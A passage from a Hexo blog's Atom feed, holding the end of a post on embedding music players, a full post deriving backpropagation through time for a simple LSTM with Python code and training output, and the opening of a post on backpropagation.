    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><center><br><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=38592976&auto=0&height=66"></iframe><br></center><a id="more"></a><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">&lt;center&gt;</div><div class="line">&lt;iframe frameborder=&quot;no&quot; border=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; width=330 height=86 src=&quot;//music.163.com/outchain/player?type=2&amp;id=38592976&amp;auto=0&amp;height=66&quot;&gt;&lt;/iframe&gt;</div><div class="line">&lt;/center&gt;</div></pre></td></tr></table></figure><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="450" src="http://music.163.com/outchain/player?type=0&id=3778678&auto=0&height=430"></iframe><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;iframe frameborder=&quot;no&quot; border=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; width=330 height=450 src=&quot;http://music.163.com/outchain/player?type=0&amp;id=3778678&amp;auto=0&amp;height=430&quot;&gt;&lt;/iframe&gt;</div></pre></td></tr></table></figure><div id="aplayer0" class="aplayer" style="margin-bottom: 20px;"></div><script>new APlayer({element: document.getElementById("aplayer0"),narrow: false,autoplay: false,showlrc: 0,music: {title: "童话镇",author: "陈一发儿",url: "http://mp3.haoduoge.com/s/2016-12-24/1482568978.mp3",pic: "http://p3.music.126.net/tfa811GLreJI_S0h9epqRA==/3394192426154346.jpg?param=130y130",}});</script><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&#123;% aplayer &quot;童话镇&quot; &quot;陈一发儿&quot; &quot;http://mp3.haoduoge.com/s/2016-12-24/1482568978.mp3&quot; &quot;http://p3.music.126.net/tfa811GLreJI_S0h9epqRA==/3394192426154346.jpg?param=130y130&quot; %&#125;</div></pre></td></tr></table></figure><div id="aplayer1" class="aplayer" style="margin-bottom: 20px;"><pre class="aplayer-lrc-content">[ti:告白气球][ar:周杰伦][al:周杰伦的床边故事][by:D.J.]歌词千寻 - http://www.lrcgc.com[00:00.00]周杰伦 - 告白气球[00:08.00]词：方文山[00:16.00]曲：周杰伦[00:22.90]塞纳河畔 左岸的咖啡[00:25.40]我手一杯 品尝你的美[00:28.43]留下唇印的嘴[00:32.95]花店玫瑰 名字写错谁[00:36.59]告白气球 风吹到对街[00:39.35]微笑在天上飞[00:44.11]你说你有点难追[00:46.35]想让我知难而退[00:48.62]礼物不需挑最贵[00:51.61]只要香榭的落叶[00:54.10]喔～营造浪漫的约会[00:57.12]不害怕搞砸一切[00:59.59]拥有你就拥有 全世界[01:04.85]亲爱的 爱上你 从那天起[01:11.10]甜蜜的很轻易[01:15.60]亲爱的 别任性 你的眼睛[01:21.60]在说我愿意[01:25.86][01:48.35]塞纳河畔 左岸的咖啡[01:50.60]我手一杯 品尝你的美[01:54.11]留下唇印的嘴[01:58.25]花店玫瑰 名字写错谁[02:01.59]告白气球 风吹到对街[02:04.60]微笑在天上飞[02:09.06]你说你有点难追[02:11.60]想让我知难而退[02:14.35]礼物不需挑最贵[02:16.85]只要香榭的落叶[02:19.60]喔～营造浪漫的约会[02:22.35]不害怕搞砸一切[02:24.61]拥有你就拥有 全世界[02:30.11]亲爱的 爱上你 从那天起[02:36.60]甜蜜的很轻易[02:41.10]亲爱的 别任性 你的眼睛[02:47.11]在说我愿意[02:51.60]亲爱的 爱上你 恋爱日记[02:58.11]飘香水的回忆[03:01.57]一整瓶 的梦境 全都有你[03:08.11]搅拌在一起[03:12.61]亲爱的别任性 你的眼睛[03:20.61]在说我愿意找歌词，上歌词千寻 www.lrcgc.com。支持歌词找歌名，LRC歌词免费下载。</pre></div><script>new APlayer({element: document.getElementById("aplayer1"),narrow: false,autoplay: false,showlrc: 2,music: {title: "告白气球",author: "周杰伦",url: "http://mp3.haoduoge.com/s/2016-06-28/1467087399.mp3",pic: "http://p3.music.126.net/cUTk0ewrQtYGP2YpPZoUng==/3265549553028224.jpg?param=130y130",}});</script><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&#123;% aplayer &quot;告白气球&quot; &quot;周杰伦&quot; &quot;http://mp3.haoduoge.com/s/2016-06-28/1467087399.mp3&quot; &quot;http://p3.music.126.net/cUTk0ewrQtYGP2YpPZoUng==/3265549553028224.jpg?param=130y130&quot; &quot;lrc:周杰伦-告白气球.lrc&quot; %&#125;</div></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;center&gt;&lt;br&gt;&lt;iframe frameborder=&quot;no&quot; border=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; width=330 height=86 src=&quot;//music.163.com/outchain/player?type=2&amp;id=38592976&amp;auto=0&amp;height=66&quot;&gt;&lt;/iframe&gt;&lt;br&gt;&lt;/center&gt;
    
    </summary>
    
      <category term="Tool" scheme="http://zhwhong.cn/categories/Tool/"/>
    
    
      <category term="Hexo" scheme="http://zhwhong.cn/tags/Hexo/"/>
    
      <category term="Music" scheme="http://zhwhong.cn/tags/Music/"/>
    
  </entry>
  
  <entry>
    <title>[RNN] Simple LSTM代码实现 &amp; BPTT理论推导</title>
    <link href="http://zhwhong.cn/2017/02/24/Backpropagation-through-time-BPTT/"/>
    <id>http://zhwhong.cn/2017/02/24/Backpropagation-through-time-BPTT/</id>
    <published>2017-02-24T10:26:58.000Z</published>
    <updated>2017-04-26T08:23:22.649Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><ul><li>参考：<a href="http://nicodjimenez.github.io/2014/08/08/lstm.html" target="_blank" rel="external">Nico’s Blog - Simple LSTM</a></li><li>Github代码：<a href="https://github.com/zhwhong/lstm" target="_blank" rel="external">https://github.com/zhwhong/lstm</a></li></ul><hr><p>前面我们介绍过CNN中普通的<a href="https://zhwhong.github.io/2017/02/24/Backpropagation-principle/" target="_blank" rel="external">BP反向传播算法的推导</a>，但是在RNN（比如<a href="https://en.wikipedia.org/wiki/Long_short-term_memory" target="_blank" rel="external">LSTM</a>）中，反向传播被称作<a href="https://en.wikipedia.org/wiki/Backpropagation_through_time" target="_blank" rel="external">BPTT</a>（Back Propagation Through Time），它是和时间序列有关的。</p><a id="more"></a><p><img src="http://upload-images.jianshu.io/upload_images/145616-113aeedc747a3628.gif?imageMogr2/auto-orient/strip" alt="Back Propagation Through Time"></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-4ae3ab8b8426cdcd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>A few weeks ago I released some <a href="https://github.com/nicodjimenez/lstm" target="_blank" rel="external">code</a> on Github to help people understand how LSTM’s work at the implementation level. The forward pass is well explained elsewhere and is straightforward to understand, but I derived the backprop equations myself and the backprop code came without any explanation whatsoever. The goal of this post is to explain the so called <em>backpropagation through time</em> in the context of LSTM’s.</p><p>If you feel like anything is confusing, please post a comment below or submit an issue on Github.</p><p><strong>Note:</strong> this post assumes you understand the forward pass of an LSTM network, as this part is relatively simple. Please read this <a href="http://arxiv.org/abs/1506.00019" target="_blank" rel="external">great intro paper</a> if you are not familiar with this, as it contains a very nice intro to LSTM’s. I follow the same notation as this paper so I recommend reading having the tutorial open in a separate browser tab for easy reference while reading this post.</p><blockquote><h1 id="Introduction-Simple-LSTM"><a href="#Introduction-Simple-LSTM" class="headerlink" title="Introduction (Simple LSTM)"></a>Introduction (Simple LSTM)</h1></blockquote><p><img src="http://upload-images.jianshu.io/upload_images/145616-4951e5c5352a88f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="LSTM Block"></p><p>The forward pass of an LSTM node is defined as follows:</p><p><img src="http://latex.codecogs.com/png.latex?\\g(t)%20&amp;=&amp;%20\phi(W_{gx}%20x(t)%20+%20W_{gh}%20h(t-1)%20+%20b_{g})%20\\\\%20i(t)%20&amp;=&amp;%20\sigma(W_{ix}%20x(t)%20+%20W_{ih}%20h(t-1)%20+%20b_{i})%20\\\\%20f(t)%20&amp;=&amp;%20\sigma(W_{fx}%20x(t)%20+%20W_{fh}%20h(t-1)%20+%20b_{f})%20\\\\%20o(t)%20&amp;=&amp;%20\sigma(W_{ox}%20x(t)%20+%20W_{oh}%20h(t-1)%20+%20b_{o})%20\\\\%20s(t)%20&amp;=&amp;%20g(t)%20*%20i(t)%20+%20s(t-1)%20*%20f(t)%20\\\\%20h(t)%20&amp;=&amp;%20s(t)%20*%20o(t)%20\\" alt=""></p><p>(<strong>注</strong>：这里最后一个式子<code>h(t)</code>的计算，普遍认为<code>s(t)</code>前面还有一个tanh激活，然后再乘以<code>o(t)</code>，不过 peephole LSTM paper中建议此处激活函数采用 <code>f(x) = x</code>，所以这里就没有用<code>tanh</code>（下同），可以参见<a href="https://en.wikipedia.org/wiki/Long_short-term_memory" target="_blank" rel="external">Wiki - Long_short-term_memory</a>上面所说的)</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-ad0508a2df64e3ec.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>By concatenating the <code>x(t)</code> and <code>h(t-1)</code> vectors as follows:</p><p><img src="http://latex.codecogs.com/png.latex?x_c(t)%20=%20[x(t),%20h(t-1)]" alt=""></p><p>we can rewrite parts of the above as follows:</p><p><img src="http://latex.codecogs.com/png.latex?\\g(t)%20&amp;=&amp;%20\phi(W_{g}%20x_c(t)%20+%20b_{g})%20\\\\%20i(t)%20&amp;=&amp;%20\sigma(W_{i}%20x_c(t)%20+%20b_{i})%20\\\\%20f(t)%20&amp;=&amp;%20\sigma(W_{f}%20x_c(t)%20+%20b_{f})%20\\\\%20o(t)%20&amp;=&amp;%20\sigma(W_{o}%20x_c(t)%20+%20b_{o})" alt=""></p><p>Suppose we have a loss <code>l(t)</code> that we wish to minimize at every time step <code>t</code> that depends on the hidden layer <code>h</code> and the label <code>y</code> at the current time via a loss function <code>f</code>:</p><p><img src="http://latex.codecogs.com/png.latex?l(t)%20=%20f(h(t),%20y(t))" alt=""></p><p>where <code>f</code> can be any differentiable loss function, such as the Euclidean loss:</p><p><img src="http://latex.codecogs.com/png.latex?l(t)%20=%20f(h(t),%20y(t))%20=%20\|%20h(t)%20-%20y(t)%20\|^2" alt=""></p><p>Our ultimate goal in this case is to use gradient descent to minimize the loss <code>L</code> over an entire sequence of length <code>T</code>：</p><p><img src="http://latex.codecogs.com/png.latex?L%20=%20\sum_{t=1}^{T}%20l(t)" alt=""></p><p>Let’s work through the algebra of computing the loss gradient:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dw}" alt=""></p><p>where <code>w</code> is a scalar parameter of the model (for example it may be an entry in the matrix <code>W_gx</code>). Since the loss <code>l(t) = f(h(t),y(t))</code> only depends on the values of the hidden layer <code>h(t)</code> and the label <code>y(t)</code>, we have by the chain rule:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dw}%20=%20\sum_{t%20=%201}^{T}%20\sum_{i%20=%201}^{M}%20\frac{dL}{dh_i(t)}\frac{dh_i(t)}{dw}" alt=""></p><p>where <code>h_i(t)</code> is the scalar corresponding to the <code>i’th</code> memory cell’s hidden output and <code>M</code> is the total number of memory cells. Since the network propagates information forwards in time, changing <code>h_i(t)</code> will have no effect on the loss prior to time <code>t</code>, which allows us to write:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dh_i(t)}%20=%20\sum_{s=1}^T%20\frac{dl(s)}{dh_i(t)}%20=%20\sum_{s=t}^T%20\frac{dl(s)}{dh_i(t)}" alt=""></p><p>For notational convenience we introduce the variable <code>L(t)</code> that represents the cumulative loss from step tonwards:</p><p><img src="http://latex.codecogs.com/png.latex?L(t)%20=%20\sum_{s=t}^{s=T}%20l(s)" alt=""></p><p>such that <code>L(1)</code> is the loss for the entire sequence. This allows us to rewrite the above equation as:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dh_i(t)}%20=%20\sum_{s=t}^T%20\frac{dl(s)}{dh_i(t)}%20=%20\frac{dL(t)}{dh_i(t)}" alt=""></p><p>With this in mind, we can rewrite our gradient calculation as:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dw}%20=%20\sum_{t%20=%201}^{T}%20\sum_{i%20=%201}^{M}%20\frac{dL(t)}{dh_i(t)}\frac{dh_i(t)}{dw}" alt=""></p><p>Make sure you understand this last equation. The computation of <code>dh_i(t) / dw</code> follows directly follows from the forward propagation equations presented earlier. We now show how to compute <code>dL(t) / dh_i(t)</code> which is where the so called <strong><em>backpropagation through time</em></strong> comes into play.</p><blockquote><h1 id="Backpropagation-through-time-BPTT"><a href="#Backpropagation-through-time-BPTT" class="headerlink" title="Backpropagation through time (BPTT)"></a>Backpropagation through time (BPTT)</h1></blockquote><p><img src="http://upload-images.jianshu.io/upload_images/145616-113aeedc747a3628.gif?imageMogr2/auto-orient/strip" alt="Back Propagation Through Time"></p><p>This variable <code>L(t)</code> allows us to express the following recursion:</p><p><img src="http://latex.codecogs.com/png.latex?L(t)%20=%20\begin{cases}%20l(t)%20+%20L(t+1)%20&amp;%20\text{if}%20\,%20t%20%3C%20T%20\\%20l(t)%20&amp;%20\text{if}%20\,%20t%20=%20T%20\end{cases}" alt=""></p><p>Hence, given activation <code>h(t)</code> of an LSTM node at time <code>t</code>, we have that:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL(t)}{dh(t)}%20=%20\frac{dl(t)}{dh(t)}%20+%20\frac{dL(t+1)}{dh(t)}" alt=""></p><p>Now, we know where the first term on the right hand side <code>dl(t) / dh(t)</code> comes from: it’s simply the elementwise derivative of the loss <code>l(t)</code> with respect to the activations <code>h(t)</code> at time <code>t</code>. The second term <code>dL(t+1) / dh(t)</code> is where the recurrent nature of LSTM’s shows up. It shows that the we need the <em>next</em> node’s derivative information in order to compute the current <em>current</em> node’s derivative information. Since we will ultimately need to compute <code>dL(t) / dh(t)</code> for all <code>t = 1, 2, ... , T</code>, we start by computing</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL(T)}{dh(T)}%20=%20\frac{dl(T)}{dh(T)}" alt=""></p><p>and work our way backwards through the network. Hence the term <em>backpropagation through time</em>. With these intuitions in place, we jump into the code.</p><blockquote><h1 id="Code-Talk-is-cheap-Show-me-the-code"><a href="#Code-Talk-is-cheap-Show-me-the-code" class="headerlink" title="Code (Talk is cheap, Show me the code)"></a>Code (Talk is cheap, Show me the code)</h1></blockquote><p>We now present the code that performs the backprop pass through a single node at time <code>1 &lt;= t &lt;= T</code>. The code takes as input:</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-98208ee1ecaa495f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>And computes:</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-28f4a30188b7dd3e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>whose values will need to be propagated backwards in time. The code also adds derivatives to:</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-8c47979fe8d86be1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>since recall that we must sum the derivatives from each time step:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL}{dw}%20=%20\sum_{t%20=%201}^{T}%20\sum_{i%20=%201}^{M}%20\frac{dL(t)}{dh_i(t)}\frac{dh_i(t)}{dw}" alt=""></p><p>Also, note that we use:</p><p><img src="http://upload-images.jianshu.io/upload_images/145616-34424089b87efa6c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p>where we recall that <code>X_c(t) = [x(t), h(t-1)]</code>. Without any further due, the code:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">top_diff_is</span><span class="params">(self, top_diff_h, top_diff_s)</span>:</span></div><div class="line">    <span class="comment"># notice that top_diff_s is carried along the constant error carousel</span></div><div class="line">    ds = self.state.o * top_diff_h + top_diff_s</div><div class="line">    do = self.state.s * top_diff_h</div><div class="line">    di = self.state.g * ds</div><div class="line">    dg = self.state.i * ds</div><div class="line">    df = self.s_prev * ds</div><div class="line"></div><div class="line">    <span class="comment"># diffs w.r.t. vector inside sigma / tanh function</span></div><div class="line">    di_input = (<span class="number">1.</span> - self.state.i) * self.state.i * di</div><div class="line">    df_input = (<span class="number">1.</span> - self.state.f) * self.state.f * df</div><div class="line">    do_input = (<span class="number">1.</span> - self.state.o) * self.state.o * do</div><div class="line">    dg_input = (<span class="number">1.</span> - self.state.g ** <span class="number">2</span>) * dg</div><div class="line"></div><div class="line">    <span class="comment"># diffs w.r.t. inputs</span></div><div class="line">    self.param.wi_diff += np.outer(di_input, self.xc)</div><div class="line">    self.param.wf_diff += np.outer(df_input, self.xc)</div><div class="line">    self.param.wo_diff += np.outer(do_input, self.xc)</div><div class="line">    self.param.wg_diff += np.outer(dg_input, self.xc)</div><div class="line">    self.param.bi_diff += di_input</div><div class="line">    self.param.bf_diff += df_input</div><div class="line">    self.param.bo_diff += do_input</div><div class="line">    self.param.bg_diff += dg_input</div><div class="line"></div><div class="line">    <span class="comment"># compute bottom diff</span></div><div class="line">    dxc = np.zeros_like(self.xc)</div><div class="line">    dxc += np.dot(self.param.wi.T, di_input)</div><div class="line">    dxc += np.dot(self.param.wf.T, df_input)</div><div class="line">    dxc += np.dot(self.param.wo.T, do_input)</div><div class="line">    dxc += np.dot(self.param.wg.T, dg_input)</div><div class="line"></div><div class="line">    <span class="comment"># save bottom diffs</span></div><div class="line">    self.state.bottom_diff_s = ds * self.state.f</div><div class="line">    self.state.bottom_diff_x = dxc[:self.param.x_dim]</div><div class="line">    self.state.bottom_diff_h = dxc[self.param.x_dim:]</div></pre></td></tr></table></figure><blockquote><h1 id="Details"><a href="#Details" class="headerlink" title="Details"></a>Details</h1></blockquote><p>The forward propagation equations show that modifying <code>s(t)</code> affects the loss <code>L(t)</code> by directly changing the values of <code>h(t)</code> as well as <code>h(t+1)</code>. However, modifying <code>s(t)</code> affects <code>L(t+1)</code> only by modifying <code>h(t+1)</code>. Therefore, by the chain rule:</p><p><img src="http://latex.codecogs.com/png.latex?\\\frac{dL(t)}{ds_i(t)}%20=%20\frac{dL(t)}{dh_i(t)}%20\frac{dh_i(t)}{ds_i(t)}%20+%20\frac{dL(t)}{dh_i(t+1)}%20\frac{dh_i(t+1)}{ds_i(t)}%20\\\\\\=%20\frac{dL(t)}{dh_i(t)}%20\frac{dh_i(t)}{ds_i(t)}%20+%20\frac{dL(t+1)}{dh_i(t+1)}%20\frac{dh_i(t+1)}{ds_i(t)}%20\\\\\\=%20\frac{dL(t)}{dh_i(t)}%20\frac{dh_i(t)}{ds_i(t)}%20+%20\frac{dL(t+1)}{ds_i(t)}%20\\\\\\%20=%20\frac{dL(t)}{dh_i(t)}%20\frac{dh_i(t)}{ds_i(t)}%20+%20[\texttt{top\_diff\_s}]_i%20\\" alt=""></p><p>Since the forward propagation equations state:</p><p><img src="http://latex.codecogs.com/png.latex?h(t)%20=%20s(t)%20*%20o(t)" alt=""></p><p>we get that:</p><p><img src="http://latex.codecogs.com/png.latex?\frac{dL(t)}{dh_i(t)}%20*%20\frac{dh_i(t)}{ds_i(t)}%20=%20o_i(t)%20*%20[\texttt{top\_diff\_h}]_i" alt=""></p><p>Putting all this together we have:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">ds = self.state.o * top_diff_h + top_diff_s</div></pre></td></tr></table></figure><p>The rest of the equations should be straightforward to derive, please let me know if anything is unclear.</p><hr><blockquote><h1 id="Test-LSTM-Network"><a href="#Test-LSTM-Network" class="headerlink" title="Test  LSTM Network"></a>Test  LSTM Network</h1></blockquote><p>此 <a href="https://github.com/zhwhong/lstm" target="_blank" rel="external">代码</a> 其是通过自己实现 lstm 网络来逼近一个序列，y_list = [-0.5, 0.2, 0.1, -0.5]，测试结果如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div></pre></td><td class="code"><pre><div class="line">cur iter:  0</div><div class="line">y_pred[0] : 0.041349</div><div class="line">y_pred[1] : 0.069304</div><div class="line">y_pred[2] : 0.116993</div><div class="line">y_pred[3] : 0.165624</div><div class="line">loss:  0.753483886253</div><div class="line">cur iter:  1</div><div class="line">y_pred[0] : -0.223297</div><div class="line">y_pred[1] : -0.323066</div><div class="line">y_pred[2] : -0.394514</div><div class="line">y_pred[3] : -0.433984</div><div class="line">loss:  0.599065083953</div><div class="line">cur iter:  2</div><div class="line">y_pred[0] : -0.140715</div><div class="line">y_pred[1] : -0.181836</div><div class="line">y_pred[2] : -0.219436</div><div class="line">y_pred[3] : -0.238904</div><div class="line">loss:  0.445095565699</div><div class="line">cur iter:  3</div><div class="line">y_pred[0] : -0.138010</div><div class="line">y_pred[1] : -0.166091</div><div class="line">y_pred[2] : -0.203394</div><div class="line">y_pred[3] : -0.233627</div><div class="line">loss:  0.428061605701</div><div class="line">cur iter:  4</div><div class="line">y_pred[0] : -0.139986</div><div class="line">y_pred[1] : -0.157368</div><div class="line">y_pred[2] : -0.195655</div><div class="line">y_pred[3] : -0.237612</div><div class="line">loss:  0.413581711096</div><div class="line">cur iter:  5</div><div class="line">y_pred[0] : -0.144410</div><div class="line">y_pred[1] : -0.151859</div><div class="line">y_pred[2] : -0.191676</div><div class="line">y_pred[3] : -0.246137</div><div class="line">loss:  0.399770442382</div><div class="line">cur iter:  6</div><div class="line">y_pred[0] : -0.150306</div><div class="line">y_pred[1] : -0.147921</div><div class="line">y_pred[2] : -0.189501</div><div class="line">y_pred[3] : -0.257119</div><div class="line">loss:  0.386136380384</div><div class="line">cur iter:  7</div><div class="line">y_pred[0] : -0.157119</div><div class="line">y_pred[1] : -0.144659</div><div class="line">y_pred[2] : -0.188067</div><div class="line">y_pred[3] : -0.269322</div><div class="line">loss:  0.372552465753</div><div class="line">cur iter:  8</div><div class="line">y_pred[0] : -0.164490</div><div class="line">y_pred[1] : -0.141537</div><div class="line">y_pred[2] : -0.186737</div><div class="line">y_pred[3] : -0.281914</div><div class="line">loss:  0.358993892096</div><div class="line">cur iter:  9</div><div class="line">y_pred[0] : -0.172187</div><div class="line">y_pred[1] : -0.138216</div><div class="line">y_pred[2] : -0.185125</div><div class="line">y_pred[3] : -0.294326</div><div class="line">loss:  0.345449256686</div><div class="line">cur iter:  10</div><div class="line">y_pred[0] : -0.180071</div><div class="line">y_pred[1] : -0.134484</div><div class="line">y_pred[2] : -0.183013</div><div class="line">y_pred[3] : -0.306198</div><div class="line">loss:  0.331888922037</div><div class="line"></div><div class="line">……</div><div class="line"></div><div class="line">cur iter:  97</div><div class="line">y_pred[0] : -0.500351</div><div class="line">y_pred[1] : 0.201185</div><div class="line">y_pred[2] : 0.099026</div><div class="line">y_pred[3] : -0.499154</div><div class="line">loss:  3.1926009167e-06</div><div class="line">cur iter:  98</div><div class="line">y_pred[0] : -0.500342</div><div class="line">y_pred[1] : 0.201122</div><div class="line">y_pred[2] : 0.099075</div><div class="line">y_pred[3] : -0.499190</div><div class="line">loss:  2.88684626031e-06</div><div class="line">cur iter:  99</div><div class="line">y_pred[0] : -0.500331</div><div class="line">y_pred[1] : 0.201063</div><div class="line">y_pred[2] : 0.099122</div><div class="line">y_pred[3] : -0.499226</div><div class="line">loss:  2.61076360677e-06</div></pre></td></tr></table></figure><p>可以看出迭代100轮，最后Loss在不断收敛，并且逐渐逼近了预期序列：y_list = [-0.5, 0.2, 0.1, -0.5]。</p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="http://www.jianshu.com/p/408ab8177a53" target="_blank" rel="external">深度学习 — 反向传播(BP)理论推导 (zhwhong)</a></li><li><a href="http://nicodjimenez.github.io/2014/08/08/lstm.html" target="_blank" rel="external">Nico’s Blog：Simple LSTM</a></li><li><a href="https://github.com/zhwhong/lstm" target="_blank" rel="external">Github仓库：https://github.com/zhwhong/lstm</a></li><li><a href="http://www.wildml.com/2015/10/recurrent-neural-networks-tutorial-part-3-backpropagation-through-time-and-vanishing-gradients/" target="_blank" rel="external">RECURRENT NEURAL NETWORKS TUTORIAL, PART 3 – BACKPROPAGATION THROUGH TIME AND VANISHING GRADIENTS</a></li><li><a href="http://www.jianshu.com/p/c930d61e1f16" target="_blank" rel="external">[福利] 深入理解 RNNs &amp; LSTM 网络学习资料</a></li><li><a href="http://www.jianshu.com/p/c7e3f417641c" target="_blank" rel="external">关于简书中如何编辑Latex数学公式</a></li></ul><hr><p>(转载请联系作者并注明出处，谢谢！)</p>]]></content>
    
    <summary type="html">
    
      &lt;ul&gt;
&lt;li&gt;参考：&lt;a href=&quot;http://nicodjimenez.github.io/2014/08/08/lstm.html&quot;&gt;Nico’s Blog - Simple LSTM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Github代码：&lt;a href=&quot;https://github.com/zhwhong/lstm&quot;&gt;https://github.com/zhwhong/lstm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;前面我们介绍过CNN中普通的&lt;a href=&quot;https://zhwhong.github.io/2017/02/24/Backpropagation-principle/&quot;&gt;BP反向传播算法的推导&lt;/a&gt;，但是在RNN（比如&lt;a href=&quot;https://en.wikipedia.org/wiki/Long_short-term_memory&quot;&gt;LSTM&lt;/a&gt;）中，反向传播被称作&lt;a href=&quot;https://en.wikipedia.org/wiki/Backpropagation_through_time&quot;&gt;BPTT&lt;/a&gt;（Back Propagation Through Time），它是和时间序列有关的。&lt;/p&gt;
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="RNN" scheme="http://zhwhong.cn/tags/RNN/"/>
    
      <category term="LSTM" scheme="http://zhwhong.cn/tags/LSTM/"/>
    
      <category term="Algorithm" scheme="http://zhwhong.cn/tags/Algorithm/"/>
    
  </entry>
  
  <entry>
    <title>深度学习 — 反向传播(BP)理论推导</title>
    <link href="http://zhwhong.cn/2017/02/24/Backpropagation-principle/"/>
    <id>http://zhwhong.cn/2017/02/24/Backpropagation-principle/</id>
    <published>2017-02-24T10:23:35.000Z</published>
    <updated>2017-04-26T08:22:16.650Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><ul><li><a href="https://zhwhong.github.io/2017/02/24/Backpropagation-through-time-BPTT/" target="_blank" rel="external">[RNN] Simple LSTM代码实现 &amp; BPTT理论推导</a></li></ul><hr><p>【知识预备】： <a href="http://deeplearning.stanford.edu/wiki/index.php/%E5%8F%8D%E5%90%91%E4%BC%A0%E5%AF%BC%E7%AE%97%E6%B3%95" target="_blank" rel="external">UFLDL教程 - 反向传导算法</a></p><p>首先我们不讲数学，先上图解，看完图不懂再看后面：</p><a id="more"></a><p><img src="http://upload-images.jianshu.io/upload_images/145616-be0f5712599bf47b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img src="http://upload-images.jianshu.io/upload_images/145616-190148f7a5f6d59a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><hr><p><img src="http://upload-images.jianshu.io/upload_images/145616-9c0e2a3e41e50184.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt=""></p><p><img 